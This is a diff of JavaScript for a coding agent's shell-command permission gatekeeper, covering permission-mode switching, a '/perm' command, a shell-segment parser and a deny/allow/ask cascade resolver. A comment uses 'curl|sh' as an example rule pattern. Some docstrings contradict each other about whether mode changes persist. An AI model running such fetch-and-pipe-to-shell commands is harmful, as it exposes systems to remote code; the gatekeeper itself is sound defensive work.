+        currentMode = diskMode;
+    }
+    const flagMode = readPermModeFlag(pi);
+    if (flagMode !== undefined) {
+        currentMode = flagMode;
+    }
+}
+/** ─── Mode Transition (TSK-001-06) ─── */
+/**
+ * Advance the active permission level to the next entry in the cycle `low → medium → high → low`,
+ * persist the new `currentMode` to `~/.pi/agent/perm-rules.json`, and re-render the status indicator.
+ * Surface contract:
+ *   - Mutates module-level `currentMode` per the cycle order.
+ *   - Persists `currentMode` to the on-disk file so the next session resumes at the new level
+ *     (AC-001-02 contract).
+ *   - Calls `ctx.ui.setStatus("perm", MODE_LABELS[currentMode])` synchronously so FLOW-05's
+ *     `level_change_latency_ms` ≤ 100 ms metric holds (no deferred `setTimeout`).
+ *   - If `perm-rules.json` has not yet been bootstrapped (caller invoked the helper before
+ *     `session_start` completed), persistence is silently skipped — the in-memory mutation and
+ *     TUI update still fire so the cycle is always observable.
+ *
+ * Flow references: FLOW-05 Happy-Path Steps 2 + 3 (level cycles and status indicator updates).
+ */
+export function cycleMode(ctx) {
+    const idx = VALID_MODES.indexOf(currentMode);
+    const next = VALID_MODES[(idx + 1) % VALID_MODES.length] ?? "medium";
+    applyModeChange(next, ctx);
+}
+export function setMode(value, ctx) {
+    if (!isPermissionLevel(value)) {
+        ctx.ui.notify(`unknown mode: ${value}`, "warning");
+        return;
+    }
+    applyModeChange(value, ctx);
+}
+/**
+ * Persist `payload` with `newMode` as its `currentMode`. Skips the write when the on-disk value
+ * already matches — prevents spurious disk writes on a redundant `cycleMode` after a prior
+ * `setMode` to the same level (acceptance criterion: "no spurious writes when the mode is
+ * unchanged"). Mutates `payload.currentMode` in place so any in-memory cache stays consistent
+ * with the persisted file — {@link applyModeChange} exploits this by passing the module-level
+ * `rules` cache directly when it is hot.
+ *
+ * Routes through {@link saveRules} without a `ctx` so the mode-cycle path inherits the same
+ * best-effort contract as the public API. A write failure is silently swallowed because the
+ * call chain (`applyModeChange` → in-memory mutation + TUI update) has already committed the
+ * user-visible side effects; the next session resumes from the last successfully persisted state.
+ */
+/**
+ * Shared transition primitive for `cycleMode` and `setMode`. Mode changes are session-only —
+ * they update the in-memory `currentMode` and the TUI status indicator, but do NOT persist to
+ * disk. Each session always starts from the default level (`"medium"`, bootstrapped from
+ * `default-rules.json`).
+ *
+ * Side-effects of a mode change:
+ *   1. Mutate the module-level `currentMode` (so subsequent reads see the new value).
+ *   2. Re-render the TUI footer status indicator synchronously (FLOW-05's
+ *      `level_change_latency_ms` ≤ 100 ms invariant).
+ */
+function applyModeChange(newMode, ctx) {
+    currentMode = newMode;
+    updateStatus(ctx);
+}
+/** ─── Slash Command (TSK-001-07) ─── */
+/**
+ * Stable labels for the per-line breakdown rendered by `showAllowlist`. Centralized so a future
+ * rename or addition (e.g. adding a `Warnings:` field) propagates from one edit to every line and the
+ * corresponding test grep. `as const` locks each entry to its literal string so the `.join("\n")`
+ * output is byte-stable across refactors.
+ */
+const ALLOWLIST_LABELS = {
+    PATH: "Path",
+    MODE: "Mode",
+    DENY: "Deny",
+    ALLOW: "Allow",
+    ASK: "Ask",
+};
+/**
+ * Annotation appended to the discovery output when the persisted rules file is absent. Pinned so a
+ * future typo / wording change flows from one edit to the test assertions and the AC-013-03 docs.
+ */
+const DEFAULT_RULES_IN_EFFECT_NOTE = "(default rules in effect)";
+/**
+ * Render the current permission ruleset for the developer to inspect / copy into their editor.
+ * Backs the `/perm allowlist` (and `/perm list`) subcommand per FR-013.
+ *
+ * Two output paths:
+ *   - **File missing** (first run, manual cleanup, etc.) → notify with the expected path AND the
+ *     "default rules in effect" annotation. AC-013-03 contract: even when the file does not exist
+ *     the developer can still copy the expected path into their editor. The cache (`rules`) is
+ *     allowed to be null in this branch — the file-not-found check is the source of truth so the
+ *     handler is robust against pre-`session_start` invocation.
+ *   - **File present** → render the multi-line breakdown: resolved `Path:`, active `Mode:`, and
+ *     the per-level `Deny:`, `Allow:`, `Ask:` arrays JSON-serialised so the developer can paste
+ *     them straight into the file. The `Allow:` / `Ask:` labels are surfaced even when the
+ *     arrays are empty (`[]`) so the structural tuple is unambiguous (AC-013-02).
+ *
+ * `notify` is always called at the `"info"` level — the discovery output is informational, never
+ * alarming. The level is pinned by the AC-013 tests.
+ *
+ * Flow references: FLOW-09 Step 1 (developer resolves the permission file path). The
+ * edit-and-reload half of FLOW-09 (Steps 2-3) is deferred to ISS-004.
+ */
+export function showAllowlist(ctx) {
+    const path = getRulesPath();
+    if (!existsSync(path) || rules === null) {
+        // AC-013-03: expected path is in the output even when the file is missing so the developer
+        // can still copy it into their editor or `touch` it manually.
+        ctx.ui.notify(`${path}\n${DEFAULT_RULES_IN_EFFECT_NOTE}`, "info");
+        return;
+    }
+    const level = rules.rules[currentMode];
+    const rows = [
+        [ALLOWLIST_LABELS.PATH, path],
+        [ALLOWLIST_LABELS.MODE, currentMode],
+        [ALLOWLIST_LABELS.DENY, JSON.stringify(level?.deny ?? [])],
+        [ALLOWLIST_LABELS.ALLOW, JSON.stringify(level?.allow ?? [])],
+        [ALLOWLIST_LABELS.ASK, JSON.stringify(level?.ask ?? [])],
+    ];
+    ctx.ui.notify(rows.map(([label, value]) => `${label}: ${value}`).join("\n"), "info");
+}
+/**
+ * Prefix emitted when an unrecognised `/perm` subcommand is rejected. Centralized so the
+ * deny-by-default UX message stays in lock-step across the handler and the matching test
+ * assertion — the test reads `expect(level).toBe("warning")` and the message text together.
+ */
+const UNKNOWN_PERM_SUBCOMMAND_PREFIX = "unknown /perm subcommand:";
+/**
+ * Dispatch table for the `/perm` slash command. Each entry pairs the literal-set gate (from
+ * {@link PERM_SUBCOMMANDS}) with the action to invoke on a match. Adding a new subcommand is a
+ * single tuple append; reordering is a swap of two entries. The first-match-wins ordering is
+ * preserved by the iteration order in {@link permCommandHandler}.
+ */
+const PERM_DISPATCH = [
+    { literals: PERM_SUBCOMMANDS.CYCLE, action: (_a, ctx) => cycleMode(ctx) },
+    { literals: PERM_SUBCOMMANDS.SET, action: (a, ctx) => setMode(a, ctx) },
+    { literals: PERM_SUBCOMMANDS.DISCOVERY, action: (_a, ctx) => showAllowlist(ctx) },
+];
+/**
+ * Handler for the `/perm` slash command — the user-visible surface for FLOW-05 (mode switching)
+ * and FLOW-09 (manual rules discovery). The branching is strict and exhaustive:
+ *
+ *   1. Trim + lowercase the args (case-insensitive matching — accidental Shift-key capitalization
+ *      on a developer-typed surface must not fail).
+ *   2. Iterate {@link PERM_DISPATCH} in declaration order; the first entry whose literal set
+ *      contains the normalised args fires its action and returns.
+ *   3. If no entry matches → `ctx.ui.notify` at `"warning"` level (deny-by-default UX per
+ *      Constitution §1.4 — silent no-ops would mask typos like `/prem` or `/permission`).
+ *
+ * Subcommand literals are co-located in {@link PERM_SUBCOMMANDS} for greppability and to make a
+ * future rename / new level a single-edit change.
+ *
+ * **Ownership invariant**: this function does NOT call any `pi.register*` method. Registration of
+ * `/perm` is owned by TSK-001-08's entry-point wiring — moving the call here would cause TSK-001-08
+ * to double-register and Pi/OMP to throw on the duplicate. The companion test
+ * `flow anchor: permCommandHandler does NOT register any ExtensionAPI surface` pins this.
+ */
+export async function permCommandHandler(args, ctx) {
+    const a = args.trim().toLowerCase();
+    for (const { literals, action } of PERM_DISPATCH) {
+        if (literals.some((literal) => literal === a)) {
+            action(a, ctx);
+            return;
+        }
+    }
+    ctx.ui.notify(`${UNKNOWN_PERM_SUBCOMMAND_PREFIX} ${a}`, "warning");
+}
+/**
+ * Split a compound shell command string into discrete segments at unquoted operator boundaries,
+ * preserving operators that appear inside quoted regions (`'...'`, `"..."`), after a backslash escape
+ * (e.g. `\&`), or inside a heredoc body (`<<EOF ... EOF`).
+ *
+ * Phase 2 (TSK-002-02) scope — extends the Phase 1 character-walk loop with single-quote,
+ * double-quote, and backslash-escape state so operators inside quoted strings are preserved verbatim.
+ * The acceptance contract (AC-002-02): `echo "foo && bar"` → `["echo \"foo && bar\""]` — one segment
+ * with the operator carried inside the segment text, not split into independent subcommands.
+ *
+ * Phase 3 (TSK-002-03) scope — adds heredoc/herestring tracking so the body of `<<EOF ... EOF` is
+ * consumed as part of the owning segment even when the body contains unquoted `&&`, `||`, `;`, `|`.
+ * The acceptance contract (AC-002-03): `cat <<EOF && echo done` → `["cat <<EOF", "echo done"]` — the
+ * heredoc opener stays attached to `cat`, then `&&` is the next real split point, then `echo done`
+ * continues as the second segment. Herestrings (`<<<`) are explicitly NOT heredoc openers — the
+ * `<<<` body is the rest of the current line and the next unquoted pipe is a normal split
+ * operator (`grep <<< "hello" | wc -l` → `["grep <<< \"hello\"", "wc -l"]`).
+ *
+ * Phase 3 contracts inherited from Phase 1 + Phase 2 plus the new heredoc branches:
+ *   - Empty input → empty array (per `prd.md:286` exception strategy).
+ *   - Single-command input (no operators) → one-element array preserving the input verbatim.
+ *   - Unquoted `&&`, `||`, `;`, `|` → split boundary; surrounding horizontal whitespace skipped so
+ *     the next segment does not carry a leading space (`&& echo done` → `"echo done"`).
+ *   - Quoted regions (`'...'`, `"..."`) are opaque to operator detection. Single quotes are literal
+ *     inside double quotes and vice versa, per shell semantics.
+ *   - Backslash-escapes outside quotes consume the next character literally (e.g. `\&` → `&`) and
+ *     strip the backslash itself from the emitted segment.
+ *   - Unterminated quotes are treated as opaque (the remainder of the string stays in the current
+ *     segment) — conservative degradation so the classifier never sees a half-stripped surface.
+ *   - Heredoc opener `<<EOF` (or `<<'EOF'`, `<<"EOF"`, `<<\EOF` per shell quoting rules) detected
+ *     outside quotes activates a two-step body mode: the opener is committed to the current segment
+ *     and the body becomes opaque to operators until the delimiter is matched. The body mode is
+ *     armed on the first `\n` after the opener — operators on the same line as the opener
+ *     (e.g. `cat <<EOF && echo done`) split normally.
+ *   - Heredoc body is consumed verbatim (no quote/escape/operator processing); the delimiter is
+ *     matched when the accumulated line equals it exactly, after which the post-heredoc content
+ *     resumes normal parsing. Heredoc body lines that equal the delimiter terminate the body.
+ *   - Herestrings `<<<` are NOT heredoc openers — they pass through unchanged and the inline body
+ *     stays on the same line as the parent command (no delimiter search).
+ *
+ * Subshell redirect stripping (`cmd < $(dangerous)` → `["cmd", "dangerous"]`) and process substitution
+ * (`<(...)`, `>(...)`) plus backtick extraction land in TSK-002-04 and TSK-002-05. The walker is
+ * structured as a stateful character-by-character loop so those phases extend the state machine in
+ * place without changing the public signature.
+ *
+ * Flow references: FLOW-07 Step 1 (gatekeeper parses the call into discrete commands), FLOW-08 (Allow
+ * Always preview is keyed off the per-segment surface), FLOW-09 (manual rules match against the segment
+ * surface, not the raw string).
+ *
+ * OPEN_ISSUE fix (architecture.md:159-170):
+ * A redirect operator followed by a `$(...)` substitution MUST strip the redirect and subshell
+ * syntax, emitting the wrapper command (before the redirect) and the inner substitution content
+ * as separate segments. `cmd < $(dangerous)` MUST return `["cmd", "dangerous"]` — NOT
+ * `["cmd < $(dangerous)", "dangerous"]`. This is the architectural fix that unblocks
+ * FLOW-07 Step 1 ("expands sub-references") and FLOW-08 Step 3 (granular allowlist entries).
+ */
+/**
+ * Push the current parse buffer as a segment when non-empty. Single source of truth for the
+ * "trim + non-empty check + push" commit primitive — used both at operator boundaries (mid-loop)
+ * and at end-of-input (tail). Subsequent phases (TSK-002-03..06) call this from every new operator's
+ * boundary branch and from each redirect-strip path so the trim policy stays uniform.
+ */
+function commitSegment(buffer, segments) {
+    const trimmed = buffer.trim();
+    if (trimmed !== "") {
+        segments.push(trimmed);
+    }
+}
+/**
+ * Commit a substitution wrapper segment and recursively push the inner segments
+ * produced by {@link splitShellSegments}. Shared by the `$(...)`, backtick,
+ * and process-substitution branches in the parser loop to avoid duplicating
+ * the "commit wrapper + recurse into inner content" pattern across all three.
+ */
+function commitSubstitution(wrapper, inner, segments) {
+    commitSegment(wrapper, segments);
+    for (const seg of splitShellSegments(inner)) {
+        segments.push(seg);
+    }
+}
+/**
+ * Operators that split one command into separate segments, in precedence order. The two-character
+ * forms (`&&`, `||`) are listed before their single-character prefix (`|`) so a substring match at
+ * position `i` consumes the longest matching operator first — otherwise `|` would consume the first
+ * char of `||` and leave a stray `|` in the next segment.
+ *
+ * Adding a new split operator is a single array append here plus a contract update; the parser loop
+ * body stays declarative. Future phases (TSK-002-03..06) extend the operator set with heredoc openings,
+ * subshell/process-substitution boundaries, etc.
+ */
+const SPLIT_OPERATORS = ["&&", "||", ";", "|"];
+/**
+ * Peek ahead from index `i` and report whether a split operator starts there. Returns `null` when
+ * `i` is inside a quoted region so the caller stays a pure operator-table lookup without quote-state
+ * branches scattered through the main loop.
+ */
+function tryMatchOperator(input, i, inSingle, inDouble) {
+    if (inSingle || inDouble) {
+        return null;
+    }
+    for (const op of SPLIT_OPERATORS) {
+        if (input.startsWith(op, i)) {
+            return { length: op.length };
+        }
+    }
+    return null;
+}
+/**
+ * Advance `i` past horizontal whitespace (space, tab). Used at every operator boundary so the
+ * next segment does not carry a leading space — the trim policy in {@link commitSegment} is the
+ * last line of defense but skipping up front avoids spurious empty-segment checks inside the main
+ * loop.
+ */
+function skipOperatorWhitespace(input, start) {
+    let i = start;
+    while (i < input.length && (input[i] === " " || input[i] === "\t")) {
+        i += 1;
+    }
+    return i;
+}
+/**
+ * Peek ahead from index `start` and report whether a heredoc delimiter starts there. Returns `null`
+ * when no valid delimiter is present. Caller is responsible for the surrounding `<<` vs `<<<`
+ * distinction — this helper only inspects the delimiter token.
+ *
+ * Accepted delimiter forms (per shell semantics):
+ *   - Bare word: `<<EOF` — any run of `[A-Za-z0-9_]` characters, at least one.
+ *   - Single-quoted: `<<'EOF'` — body expansion is suppressed, but the parser still closes on a
+ *     literal-`EOF` line (the surrounding quotes are stripped from the matched delimiter).
+ *   - Double-quoted: `<<"EOF"` — same as single-quoted for our purposes.
+ *   - Backslash-escaped first character: `<<\EOF` — leading backslash stripped.
+ */
+function tryMatchHeredocDelimiter(input, start) {
+    if (start >= input.length) {
+        return null;
+    }
+    let i = start;
+    // Quoted delimiter: <<'EOF' or <<"EOF" — strip surrounding quotes, body is literal.
+    const quote = input[i];
+    if (quote === "'" || quote === '"') {
+        i += 1;
+        const delimStart = i;
+        while (i < input.length && input[i] !== quote) {
+            i += 1;
+        }
+        if (i >= input.length) {
+            return null;
+        }
+        const delim = input.slice(delimStart, i);
+        i += 1; // skip closing quote
+        if (delim.length === 0) {
+            return null;
+        }
+        return { delimiter: delim, length: i - start };
+    }
+    // Backslash-escaped first char: <<\EOF — strip the backslash.
+    if (input[i] === "\\") {
+        i += 1;
+        if (i >= input.length) {
+            return null;
+        }
+    }
+    // Bare-word delimiter: <<EOF — at least one [A-Za-z0-9_] character.
+    const delimStart = i;
+    while (i < input.length && /[A-Za-z0-9_]/.test(input[i])) {
+        i += 1;
+    }
+    if (i === delimStart) {
+        return null;
+    }
+    return { delimiter: input.slice(delimStart, i), length: i - start };
+}
+/**
+ * Peek ahead from index `i` and report whether a heredoc opener (`<<DELIM`) starts there. Returns
+ * `null` when the position is inside a quoted region, when the opener is actually a herestring
+ * (`<<<`), or when no valid delimiter follows `<<`.
+ *
+ * Returned `length` covers the FULL opener token (`<<DELIM`), so the caller advances `i` in one
+ * step. Mirrors {@link tryMatchOperator}'s shape so the main loop's branch list stays declarative.
+ */
+function tryMatchHeredocOpener(input, i, inSingle, inDouble) {
+    if (inSingle || inDouble) {
+        return null;
+    }
+    if (i + 1 >= input.length || input[i] !== "<" || input[i + 1] !== "<") {
+        return null;
+    }
+    // Herestring `<<<` is NOT a heredoc opener — inline body stays on the same line as parent.
+    if (i + 2 < input.length && input[i + 2] === "<") {
+        return null;
+    }
+    const delim = tryMatchHeredocDelimiter(input, i + 2);
+    if (delim === null) {
+        return null;
+    }
+    return { delimiter: delim.delimiter, length: 2 + delim.length };
+}
+/**
+ * Walk a heredoc body starting at `startIndex` until the delimiter is matched on its own line or
+ * EOF is reached. Body text is opaque (no quote/escape/operator processing). When the delimiter
+ * line is matched, the delimiter is appended to `body` so the segment surface reads
+ * `cat <<EOF\n...body...\nEOF` (opener + body + closing delimiter); the surrounding newline is
+ * NOT consumed — the caller re-processes it through the main loop so post-heredoc content
+ * (operators, spaces, etc.) parses normally.
+ *
+ * Returned `body` is appended verbatim to the current segment buffer. `endIndex` is where the
+ * caller resumes; `closed` is `true` when the delimiter was matched (caller clears body mode).
+ */
+function consumeHeredocBody(cmd, startIndex, delimiter) {
+    let i = startIndex;
+    let line = "";
+    let body = "";
+    while (i < cmd.length) {
+        const c = cmd[i];
+        if (line === delimiter) {
+            // Delimiter matched on its own line — append the delimiter literal and let the caller
+            // re-process the surrounding newline as normal post-heredoc content.
+            body += delimiter;
+            return { body, endIndex: i, closed: true };
+        }
+        if (c === "\n") {
+            body += `${line}\n`;
+            line = "";
+        }
+        else {
+            line += c;
+        }
+        i += 1;
+    }
+    // EOF: preserve the partial trailing line so the segment carries the full opaque surface.
+    body += line;
+    return { body, endIndex: i, closed: false };
+}
+/**
+ * Locate the index of the `)` that matches the `(` at `openIndex` for a command substitution.
+ * Tracks nested `$(` parens (so `$(echo $(whoami))` returns the OUTER `)`) and respects single-
+ * and double-quote regions so a literal `)` inside `'...'` or `"..."` does NOT close the substitution.
+ * Backtick extraction (`echo \`whoami\``) is intentionally NOT handled here — that contract lands in
+ * TSK-002-05 (AC-002-05). Returns `-1` when no matching `)` is found (unterminated substitution), in
+ * which case the caller falls back to literal handling and the end-of-loop commit treats the remainder
+ * as a single segment per the "unmatched $(...) → single segment" edge-case contract.
+ *
+ * `openIndex` is the index of the OPENING `(` (i.e. `cmd.indexOf("$(", i) + 1`). The returned index is
+ * that of the matching CLOSING `)` so the caller can slice `input.slice(openIndex + 1, returned)` to get
+ * the inner content.
+ */
+function findMatchingParen(input, openIndex) {
+    let depth = 1;
+    let inSingle = false;
+    let inDouble = false;
+    let i = openIndex + 1;
+    while (i < input.length) {
+        const c = input[i];
+        if (inSingle) {
+            if (c === "'") {
+                inSingle = false;
+            }
+        }
+        else if (inDouble) {
+            if (c === '"') {
+                inDouble = false;
+            }
+        }
+        else {
+            if (c === "'") {
+                inSingle = true;
+            }
+            else if (c === '"') {
+                inDouble = true;
+            }
+            else if (c === "$" && i + 1 < input.length && input[i + 1] === "(") {
+                // Nested `$(` — depth increments so the matching `)` is the OUTER one, not the inner one.
+                depth += 1;
+                i += 1;
+            }
+            else if (c === "(") {
+                depth += 1;
+            }
+            else if (c === ")") {
+                depth -= 1;
+                if (depth === 0) {
+                    return i;
+                }
+            }
+        }
+        i += 1;
+    }
+    return -1;
+}
+/**
+ * Trim a trailing redirect operator (`<`, `>`, `>>`) and any preceding horizontal whitespace from
+ * `buffer`. Used to clean up the wrapper segment before commit when a `$(...)` substitution follows
+ * a redirect operator — the AC-002-04 fix turns `cmd <` into `cmd` so the emitted wrapper surface is
+ * the bare command, not the redirect artifact.
+ */
+function stripTrailingRedirect(buffer, redirectOp) {
+    return buffer.trimEnd().slice(0, -redirectOp.length).trimEnd();
+}
+/**
+ * Try to extract a `$(...)` command substitution at position `i`. Returns `null` when the position is
+ * inside a quoted region, when `cmd[i]` is not `$` followed by `(`, or when the substitution is
+ * unterminated (no matching `)`) — in which case the caller falls through to default char handling
+ * and the end-of-loop commit treats the remainder as a single segment per the
+ * "unmatched $(...) → single segment" edge-case contract.
+ *
+ * On success returns `{ inner, endIndex, wrapper }`:
+ *   - `inner` is the substitution body, suitable for recursive {@link splitShellSegments}.
+ *   - `endIndex` is where the caller should resume (one past the matching `)`).
+ *   - `wrapper` is the input buffer prepared for commit — already stripped of any trailing redirect
+ *     operator when `lastRedirectOp` is set (subshell redirect branch), or as-is when it is null
+ *     (inline substitution branch). `commitSegment` handles the final outer-whitespace trim.
+ */
+function tryExtractCommandSubstitution(input, i, buffer, lastRedirectOp, inSingle, inDouble) {
+    if (inSingle || inDouble)
+        return null;
+    if (input[i] !== "$" || i + 1 >= input.length || input[i + 1] !== "(")
+        return null;
+    const openParenIndex = i + 1;
+    const closeParenIndex = findMatchingParen(input, openParenIndex);
+    if (closeParenIndex === -1)
+        return null;
+    const inner = input.slice(openParenIndex + 1, closeParenIndex);
+    const wrapper = lastRedirectOp === null ? buffer : stripTrailingRedirect(buffer, lastRedirectOp);
+    return { inner, endIndex: closeParenIndex + 1, wrapper };
+}
+/**
+ * Try to consume a redirect operator (`<`, `>`, `>>`) at position `i` outside quotes. Returns `null`
+ * when the current character is not a redirect or when inside a quoted region. On success returns
+ * the new buffer (with the operator appended), the next index, and the operator string for
+ * `lastRedirectOp` tracking — a subsequent `$(...)` substitution uses this state to recognize itself
+ * as a subshell redirect (AC-002-04).
+ *
+ * `>>` is matched before single-char `<` / `>` so a `> >` sequence is NOT collapsed into one append.
+ * Heredoc opener detection (`<<`, `<<<`) runs above this helper in the parser loop, so those tokens
+ * are routed to the heredoc path instead of reaching this branch.
+ */
+function tryAppendRedirectOp(input, i, buffer, inSingle, inDouble) {
+    if (inSingle || inDouble)
+        return null;
+    const c = input[i];
+    if (c !== "<" && c !== ">")
+        return null;
+    if (c === ">" && i + 1 < input.length && input[i + 1] === ">") {
+        return { buffer: `${buffer}>>`, endIndex: i + 2, lastRedirectOp: ">>" };
+    }
+    return { buffer: buffer + c, endIndex: i + 1, lastRedirectOp: c };
+}
+/**
+ * Append `c` to `buffer` and update the redirect-tracker state. Whitespace and newlines preserve
+ * `lastRedirectOp` so `cmd <  $(...)` (multiple spaces between `<` and `$(`) still recognizes the
+ * substitution as a subshell redirect. Any other character clears the tracker — `cmd < file.txt
+ * $(more)` correctly treats `$(more)` as an INLINE substitution.
+ */
+function appendChar(c, buffer, lastRedirectOp) {
+    const preserves = c === " " || c === "\t" || c === "\n";
+    return { buffer: buffer + c, lastRedirectOp: preserves ? lastRedirectOp : null };
+}
+/**
+ * Find the matching closing backtick for a backtick command substitution (`...`).
+ * Handles escaped backticks (\\`). Returns -1 when no matching backtick is found
+ * (unterminated), in which case the caller should treat the remainder as a single segment.
+ */
+function findMatchingBacktick(input, openIndex) {
+    let i = openIndex + 1;
+    while (i < input.length) {
+        if (input[i] === "\\" && i + 1 < input.length) {
+            i += 2; // skip escaped char
+            continue;
+        }
+        if (input[i] === "`") {
+            return i;
+        }
+        i += 1;
+    }
+    return -1;
+}
+/** ─── Command Classifier and Cascade Resolver (ISS-003) ─── */
+/**
+ * The cascade walker introduced in TSK-003-02 reuses the module-level `VALID_MODES` tuple at
+ * `src/gatekeeper.ts:81` as its level-order traversal array (low → medium → high for DOWN walks,
+ * high → medium → low for UP walks). The tuple is the single source of truth for the level set —
+ * the cascade walker MUST reference it instead of redeclaring `["low", "medium", "high"]` so a
+ * future level rename propagates from one edit to every walker site.
+ */
+/**
+ * Convert a glob pattern (literal text with `*` wildcards) into an anchored RegExp.
+ *
+ * Algorithm:
+ * 1. Escape every regex metacharacter in `pattern` (excluding `*`), so a pattern like
+ * `curl|sh` becomes `curl\|sh` rather than being interpreted as alternation.
+ * 2. Substitute the now-escaped `\*` (which originated from a literal `*` in the input)
+ * with `.*`, so a single `*` matches any run of characters.
+ * 3. Anchor the resulting source with `^...$` so the match is a full-string match,
+ * never a substring match.
+ *
+ * Source anchor: `data-model.md:44-52` (literal / prefix / suffix / middle / catch-all),
+ * `design.md` §"Pattern matching" decision (literal `|`, `&`, `;`, `$` are matched literally,
+ * not as shell operators).
+ *
+ * Exported so tests can assert the regex shape directly (e.g. that the result is anchored,
+ * that wildcards produce `.*`, and that regex metachars in the literal portion are escaped).
+ */
+export function globToRegex(pattern) {
+    const escaped = pattern.replace(/[.+?^${}()|[\]\\*]/g, "\\$&");
+    const withWildcards = escaped.replace(/\\\*/g, ".*");
+    return new RegExp(`^${withWildcards}$`);
+}
+/** Full-string anchored glob match (never substring); case-sensitive. Wraps {@link globToRegex}. */
+export function matchGlob(pattern, input) {
+    return globToRegex(pattern).test(input);
+}
+/**
+ * Public thin wrapper over {@link findFirstMatch}. Preserves the historic return shape
+ * (`{ matched: true, pattern }` on hit; `{ matched: false }` on miss with no `pattern`
+ * field) used by external callers and regression tests in `test/classifier.test.ts`.
+ * The walker logic itself lives in `findFirstMatch` so cascade walkers,
+ * explicit-pass evaluation, and the public API all share one iteration primitive.
+ *
+ * Implements `data-model.md:61` first-match-wins semantics — an earlier literal pattern in
+ * the list wins over a later wildcard even when both would match.
+ *
+ * Source anchor: `tasks.md` TSK-003-01 (matchSegmentAgainstList contract).
+ */
+export function matchSegmentAgainstList(segment, patterns) {
+    const result = findFirstMatch(segment, patterns);
+    return result.matched ? { matched: true, pattern: result.pattern } : { matched: false };
+}
+/**
+ * Find the first matching pattern in `patterns`, returning both the matched pattern and the
+ * index where it appeared. Single walker primitive for first-match-wins semantics — exposed
+ * {@link matchSegmentAgainstList} and {@link evaluateExplicit} both delegate here so the
+ * cascade walker, the explicit-pass evaluator, and the public API share one iteration loop.
+ *
+ * The matched index flows out so callers can surface "earlier patterns did not match"
+ * diagnostic context in the reason text — {@link explicitReason} uses it to cite the skipped
+ * entries under first-match-wins (`data-model.md:61`).
+ */
+function findFirstMatch(segment, patterns) {
+    for (let i = 0; i < patterns.length; i += 1) {
+        if (matchGlob(patterns[i], segment)) {
+            return { matched: true, pattern: patterns[i], index: i };
+        }
+    }
+    return { matched: false };
+}
+/**
+ * Build the reason string for an explicit-pass match at the current level. Includes the
+ * matched pattern and, when `matchIndex > 0`, a parenthetical listing the earlier patterns
+ * that did not match. The "earlier patterns" clause is the diagnostic anchor the cascade
+ * tests rely on to verify first-match-wins semantics — e.g. when the matched pattern is
+ * `'foo bar'` and an earlier `'foo'` did not match, the reason surfaces both so the FLOW-07
+ * prompt preview and FLOW-08 audit trail can attribute the decision.
+ */
+function explicitReason(action, level, matched, matchIndex, patterns) {
+    if (matchIndex === 0) {
+        return `${action} at ${level} matched '${matched}'`;
+    }
+    const earlier = patterns
+        .slice(0, matchIndex)
+        .map((p) => `'${p}'`)
+        .join(", ");
+    return `${action} at ${level} matched '${matched}' (earlier ${earlier} did not match)`;
+}
+/**
+ * Build the reason string for a cascade-inherited match. Mirrors {@link explicitReason}'s
+ * shape so both reason helpers stay symmetric — the explicit-pass and cascade-walk reason
+ * formats now share the same `'<pattern>'` quoting convention and the same `cascade /
+ * explicit` lexical marker that `cascade.test.ts` relies on to distinguish cascaded
+ * decisions from explicit per-level matches.
+ *
+ * Format: `cascade <action> from <level> via '<pattern>'`. The substring `cascade` and the
+ * `from <level>` anchor are what FLOW-07's prompt preview and the cascade regression tests
+ * grep for to attribute a cascaded decision to its origin level.
+ */
+function cascadeReason(action, level, matched) {
+    return `cascade ${action} from ${level} via '${matched}'`;
+}
+const EXPLICIT_ACTION_ORDER = ["deny", "allow", "ask"];
+/**
+ * Explicit-pass evaluation at the current level. Iterates {@link EXPLICIT_ACTION_ORDER} and
+ * returns the first matched action as a fully-formed {@link PermissionDecision}, or `null` when
+ * no rule at the current level matches. Single source of truth for the deny → allow → ask
+ * evaluation order; replacing three near-identical branches with one loop eliminates the
+ * duplication that the GREEN-phase inline form left behind.
+ */
+function evaluateExplicit(segment, mode, levelRules) {
+    for (const action of EXPLICIT_ACTION_ORDER) {
+        const match = findFirstMatch(segment, levelRules[action]);
+        if (match.matched) {
+            return {
+                decision: action,
+                reason: explicitReason(action, mode, match.pattern, match.index, levelRules[action]),
+            };
+        }
+    }
+    return null;
+}
+/**
+ * DOWN-for-allow cascade walk. Starting at the level immediately below `mode`, walks toward
+ * `low` (the lowest-indexed entry in {@link VALID_MODES}) checking each level's `allow` list.
+ * The first match returns an `{ decision: "allow", reason: "cascade allow from <level> via '<pattern>'" }`.
+ * Returns `null` when no level carries a matching allow pattern (caller proceeds to UP-for-deny).
+ * Loop bounds are empty at `mode === "low"` (modeIdx - 1 < 0) — boundary case handled by the
+ * standard for-loop contract, no special branch required.
+ */
+function walkCascadeDownForAllow(segment, rules, modeIdx) {
+    for (let i = modeIdx - 1; i >= 0; i -= 1) {
+        const level = VALID_MODES[i];
+        const match = findFirstMatch(segment, rules.rules[level].allow);
+        if (match.matched) {
+            return {
+                decision: "allow",
+                reason: cascadeReason("allow", level, match.pattern),
+            };
+        }
+    }
+    return null;
+}
+/**
+ * UP-for-deny cascade walk. Starting at the level immediately above `mode`, walks toward
+ * `high` (the highest-indexed entry in {@link VALID_MODES}) checking each level's `deny` list.
+ * The first match returns an `{ decision: "deny", reason: "cascade deny from <level> via '<pattern>'" }`.
+ * Returns `null` when no level carries a matching deny pattern (caller proceeds to default ask).
+ * Loop bounds are empty at `mode === "high"` — boundary case handled by the standard for-loop contract.
+ */
+function walkCascadeUpForDeny(segment, rules, modeIdx) {
+    for (let i = modeIdx + 1; i < VALID_MODES.length; i += 1) {
+        const level = VALID_MODES[i];
+        const match = findFirstMatch(segment, rules.rules[level].deny);
+        if (match.matched) {
+            return {
+                decision: "deny",
+                reason: cascadeReason("deny", level, match.pattern),
+            };
+        }
+    }
+    return null;
+}
+/**
+ * Cascade resolver for a single shell segment. Implements `data-model.md:347-352`
+ * (allow cascades DOWN through lower levels, deny cascades UP through higher levels,
+ * explicit per-level rules override cascade-inherited decisions, default `ask`).
+ *
+ * Algorithm (four stops, fixed order, each delegated to a named helper):
+ *  1. {@link evaluateExplicit} — deny → allow → ask at `mode`, first-match-wins.
+ *  2. {@link walkCascadeDownForAllow} — visit lower-indexed levels' allow lists (allow cascades DOWN).
+ *  3. {@link walkCascadeUpForDeny} — visit higher-indexed levels' deny lists (deny cascades UP).
+ *  4. Default ask when every cascade stop exhausts without a match.
+ *
+ * Level-order tuple reused from the module-level `VALID_MODES` (`src/gatekeeper.ts:81`),
+ * the single source of truth for the level set; the walker references the tuple instead of
+ * redeclaring `["low", "medium", "high"]` so a future mode rename propagates from one edit.
+ *
